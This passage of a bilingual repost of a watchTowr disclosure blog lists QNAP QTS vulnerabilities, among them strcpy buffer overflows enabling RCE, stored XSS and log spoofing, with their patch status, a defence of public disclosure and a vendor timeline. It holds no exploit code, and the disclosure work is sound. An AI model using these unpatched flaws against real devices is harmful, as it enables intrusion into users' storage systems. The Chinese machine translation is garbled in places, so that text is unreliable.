Accepted by vendor; no fix available (first reported January 3rd 2024)
被供应商接受;没有可用的修复程序(2024 年 1 月 3 日首次报告)
Requires valid account on NAS device
需要 NAS 设备上的有效帐户
CVE-2024-27129 Unsafe use of strcpy in get_tree function of utilRequest.cgi leads to static buffer overflow and thus RCE
不安全地 strcpy 使用 utilRequest.cgi 导致 get_tree 静态缓冲区溢出的功能,从而导致 RCE
Accepted by vendor; no fix available (first reported January 3rd 2024)
被供应商接受;没有可用的修复程序(2024 年 1 月 3 日首次报告)
Requires valid account on NAS device
需要 NAS 设备上的有效帐户
CVE-2024-27130 Unsafe use of strcpy in No_Support_ACL accessible by get_file_size function of share.cgi leads to stack buffer overflow and thus RCE
不安全地使用 strcpy 可 No_Support_ACL 访问 get_file_size 的 share.cgi 引线功能来堆叠缓冲区溢出,从而 RCE
Accepted by vendor; no fix available (first reported January 3rd 2024)
被供应商接受;没有可用的修复程序(2024 年 1 月 3 日首次报告)
Requires a valid NAS user to share a file
需要有效的 NAS 用户才能共享文件
CVE-2024-27131 Log spoofing via x-forwarded-for allows users to cause downloads to be recorded as requested from arbitrary source location
日志欺骗方式 x-forwarded-for 允许用户根据请求从任意源位置记录下载
Accepted by vendor; no fix available (first reported January 3rd 2024)
被供应商接受;没有可用的修复程序(2024 年 1 月 3 日首次报告)
Requires ability to download a file
需要能够下载文件
WT-2023-0050 N/A Under extended embargo due to unexpectedly complex issue
由于出乎意料的复杂问题而延长禁运
N/A
WT-2024-0004 Stored XSS via remote syslog messages
通过远程 syslog 消息存储 XSS
No fix available (first reported January 8th 2024)
没有可用的修复程序(2024 年 1 月 8 日首次报告)
Requires non-default configuration
需要非默认配置
WT-2024-0005 Stored XSS via remote device discovery
通过远程设备发现存储 XSS
No fix available (first reported January 8th 2024)
没有可用的修复程序(2024 年 1 月 8 日首次报告)
None
WT-2024-0006 Lack of rate-limiting on authentication API
身份验证 API 上缺乏速率限制
No fix available (first reported January 23rd 2024)
没有可用的修复程序(2024 年 1 月 23 日首次报告)
None
WT-2024-00XX N/A Under 90-day embargo as per VDP (first reported May 11th 2024)
根据 VDP 的 90 天禁运(2024 年 5 月 11 日首次报告)
N/A

The first four of these bugs have patches available. These bugs are fixed in the following products:
这些错误中的前四个有可用的补丁。这些 bug 已在以下产品中修复:

  • QTS 5.1.6.2722 build 20240402 and later
    QTS 5.1.6.2722 内部版本 20240402 及更高版本
  • QuTS hero h5.1.6.2734 build 20240414 and later
    QuTS hero h5.1.6.2734 build 20240414及更高版本

For more details, see the vendor advisory.
有关详细信息,请参阅供应商公告。

However, the remaining bugs still have no fixes available, even after an extended period. Those who are affected by these bugs are advised to consider taking such systems offline, or to heavily restrict access until patches are available.
但是,即使在很长一段时间后,剩余的错误仍然没有可用的修复程序。建议受这些错误影响的人考虑使此类系统脱机,或严格限制访问,直到补丁可用。

We’d like to take this opportunity to preemptively address some concerns that some readers may have regarding our decision to disclose these issues to the public. As we stated previously, many of these issues currently have no fixes available despite the vendor having validated them. You can also see, however, that the vendor has been given ample time to fix these issues, with the most serious issue we discussed today being first reported well over four months ago.
我们想借此机会先发制人地解决一些读者对我们决定向公众披露这些问题的一些担忧。正如我们之前所说,尽管供应商已经验证了这些问题,但其中许多问题目前没有可用的修复程序。但是,您还可以看到,供应商有足够的时间来解决这些问题,我们今天讨论的最严重的问题早在四个多月前就首次报告了。

Here at watchTowr, we abide by an industry-standard 90 day period for vendors to respond to issues (as specified in our VDP). We are usually generous in granting extensions to this in unusual circumstances, and indeed, QNAP has received multiple extensions in order to allow remediation.
在watchTowr,我们遵守行业标准的90天期限,供供应商对问题做出响应(如我们的VDP中所述)。在特殊情况下,我们通常会慷慨地授予延期,事实上,QNAP 已收到多次延期以允许补救。

In cases where there is a clear ‘blocker’ to remediation – as was the case with WT-2023-0050, for example – we have extended this embargo even further to allow enough time for the vendor to analyze the problem, issue remediation, and for end-users to apply these remediations.
在存在明显的补救“障碍”的情况下(例如WT-2023-0050的情况),我们进一步延长了这一禁运,以便供应商有足够的时间分析问题、问题补救,并让最终用户应用这些补救措施。

However, there must always be some point at which it is in the interest of the Internet community to disclose issues publicly.
但是,总在某个时候,公开披露问题符合互联网社群的利益。

While we are proud of our research ability here at watchTowr, we are by no means the only people researching these attractive targets, and we must be forced to admit the likelihood that unknown threat groups have already discovered the same weaknesses, and are quietly using them to penetrate networks undetected.
虽然我们为watchTowr的研究能力感到自豪,但我们绝不是唯一研究这些有吸引力的目标的人,我们必须被迫承认,未知的威胁组织可能已经发现了同样的弱点,并正在悄悄地利用它们来渗透网络而未被发现。

This is what drives us to make the decision to disclose these issues despite a lack of remediation. It is hoped that those who store sensitive data on QNAP devices are able to better detect offensive actions when with this information.
这就是促使我们决定披露这些问题的原因,尽管缺乏补救措施。希望那些在 QNAP 设备上存储敏感数据的人能够在使用此信息时更好地检测攻击行为。

Finally, we want to speak a little about QNAP’s response to these bugs.
最后,我们想谈谈 QNAP 对这些 bug 的回应。

It is often (correctly) said that vulnerabilities are inevitable, and that what truly defines a vendor is their response. In this department, QNAP were something of a mixed bag.
人们经常(正确地)说,漏洞是不可避免的,真正定义供应商的是他们的反应。在这个部门,QNAP有点喜忧参半。

On one hand, they were very cooperative, and even gave us remote access to their own testing environment so that we could better report a bug – something unexpected that left us with the impression they place the security of their users at a very high priority. However, they took an extremely long time to remediate issues, and indeed, have not completed remediation at the time of publishing.
一方面,他们非常合作,甚至允许我们远程访问他们自己的测试环境,以便我们可以更好地报告错误——这出乎意料,给我们留下了他们把用户安全放在非常高优先级的印象。但是,他们花了很长时间来修复问题,实际上,在发布时尚未完成修复。

Here’s a timeline of our communications so you can get an idea of how the journey to partial remediation went:
以下是我们沟通的时间表,以便您了解部分修复的旅程进展如何:

Date Event
Dec 12th 2023  12 12月 2023 Initial disclosure of CVE-2023-50361 to vendor
向供应商首次披露 CVE-2023-50361
Initial disclosure of CVE-2023-50362 to vendor
首次向供应商披露 CVE-2023-50362
Initial disclosure of CVE-2023-50363 to vendor
向供应商首次披露 CVE-2023-50363
Initial disclosure of CVE-2023-50364 to vendor
向供应商首次披露 CVE-2023-50364
Initial disclosure of CVE-2024-21902 to vendor
向供应商首次披露 CVE-2024-21902
Jan 3rd 2024 3 1月 2024 Vendor confirms CVE-2023-50361 through CVE-2023-50364 as valid
供应商确认 CVE-2023-50361 至 CVE-2023-50364 有效
Vendor rejects CVE-2024-21902 as ‘non-administrator users cannot execute the mentioned action’
供应商拒绝 CVE-2024-21902,因为“非管理员用户无法执行上述操作”
Jan 5th 2024 5 1月 2024 watchTowr responds with PoC script to demonstrate CVE-2024-21902
watchTowr 使用 PoC 脚本进行响应以演示 CVE-2024-21902
Jan 3rd 2024 3 1月 2024 Initial disclosure of CVE-2024-27127 to vendor
向供应商首次披露 CVE-2024-27127
Initial disclosure of CVE-2024-27128 to vendor
向供应商首次披露 CVE-2024-27128
Initial disclosure of CVE-2024-27129 to vendor
向供应商首次披露 CVE-2024-27129
Initial disclosure of CVE-2024-27130 to vendor
向供应商首次披露 CVE-2024-27130
Initial disclosure of CVE-2024-27131 to vendor
向供应商首次披露 CVE-2024-27131
Jan 8th 2024 1月 8th, 2024 Initial disclosure of WT-2024-0004 to vendor
WT-2024-0004 首次向供应商披露
Initial disclosure of WT-2024-0005 to vendor
WT-2024-0005 向供应商的首次披露
Jan 10th 2024 10 1月 2024 Vendor once again confirms validity of CVE-2023-50361 through CVE-2023-50364, presumably by mistake
供应商再次通过 CVE-2023-50364 确认 CVE-2023-50361 的有效性,可能是错误的
Jan 11th 2024 11 1月 2024 Vendor requests that watchTowr opens seven new bugs for each function of CVE-2024-21902
供应商要求 watchTowr 为 CVE-2024-21902 的每个功能打开七个新错误
Jan 23rd 2024 23 1月 2024 watchTowr opens new bugs as requested
watchTowr 根据要求打开新错误
Initial disclosure of WT-2024-0006 to vendor
WT-2024-0006 向供应商的首次披露
Feb 23rd 2024 23 2月 2024 Vendor assigns CVE-2024-21902 to cover six of the seven new bugs; deems one invalid
供应商分配 CVE-2024-21902 以涵盖 7 个新 bug 中的 6 个;认为一个无效
Vendor confirms validity of CVE-2023-50361 through CVE-2023-50364 for a third time
供应商第三次通过 CVE-2023-50364 确认 CVE-2023-50361 的有效性
Mar 5th 2024 5 3月 2024 Vendor requests 30-day extension to CVE-2023-50361 through CVE-2023-50364 and CVE-2023-21902; watchTowr grants this extension, asks for confirmation that the vendor can meet the deadline for the other bugs
供应商请求将 CVE-2023-50361 的 CVE-2023-50361 延期 30 天至 CVE-2023-50364 和 CVE-2023-21902;watchTowr 授予此延期,要求确认供应商能否满足其他 bug 的最后期限
Mar 11th 2024 11 3月 2024 Vendor assures us that they will ‘keep [us] updated on the progress’
供应商向我们保证,他们将“随时了解 [我们] 的最新进展”
Apr 3rd 2024 3 4月 2024 Vendor requests further 14-day extension to CVE-2023-50361 through CVE-2023-50364 and CVE-2023-21902; watchTowr grants this extension
供应商要求将 CVE-2023-50361 的 CVE-2023-50361 和 CVE-2023-21902 再延长 14 天;watchTowr 授予此扩展
Apr 12th 2024 12 4月 2024 Vendor requests new disclosure date of April 22nd; watchTowr grants this extension but requests that it be final
供应商要求新的披露日期为 4 月 22 日;watchTowr 批准此延期,但要求它是最终的
April 18th 2024 2024年4月18日星期二 Vendor confirms CVE-2024-27127
供应商确认 CVE-2024-27127
Vendor confirms CVE-2024-27128
供应商确认 CVE-2024-27128
Vendor confirms CVE-2024-27129
供应商确认 CVE-2024-27129
Vendor confirms CVE-2024-27130
供应商确认 CVE-2024-27130
Vendor confirms CVE-2024-27131
供应商确认 CVE-2024-27131
Vendor requests ‘a slight extension’ for CVE-2024-27127 through CVE-2024-27131
供应商请求对 CVE-2024-27127 到 CVE-2024-27131 进行“轻微扩展”
May 2nd 2024 2 5月 2024 watchTowr declines further extensions, reminding vendor that it has been some 120 days since initial report
watchTowr 拒绝进一步延期,提醒供应商自最初报告以来已经过去了大约 120 天
May 10th 2024 10 5月 2024 Initial disclosure of WT-2024-00XX to vendor
WT-2024-00XX向供应商的首次披露

However, part of me can empathize with QNAP’s position; they clearly have a codebase with heavy legacy component, and they are working hard to squeeze all the bugs out of it.
但是,我的一部分可以对 QNAP 的立场感同身受;他们显然有一个包含大量遗留组件的代码库,他们正在努力从中挤出所有错误。

We’ll talk more in-depth about the ways they’re attempting this, and the advantages and disadvantages, in a subsequent blog post, and will also go into detail on the topic of all the other bugs – except those under embargo, WT-2023-0050 and WT-2024-00XX, which will come at a later date, once the embargos expire.
我们将在随后的博客文章中更深入地讨论他们尝试这样做的方式以及优缺点,并将详细讨论所有其他错误的主题 – 除了那些受禁运的 WT-2023-0050 和 WT-2024-00XX,一旦禁运到期,它们将在以后出现。

 

原文始发于ALIZ HAMMOND  :QNAP QTS – QNAPping At The Wheel (CVE-2024-27130 and friends)

版权声明:admin 发表于 2024年5月21日 下午4:37。
转载请注明:QNAP QTS – QNAPping At The Wheel (CVE-2024-27130 and friends) | CTF导航

相关文章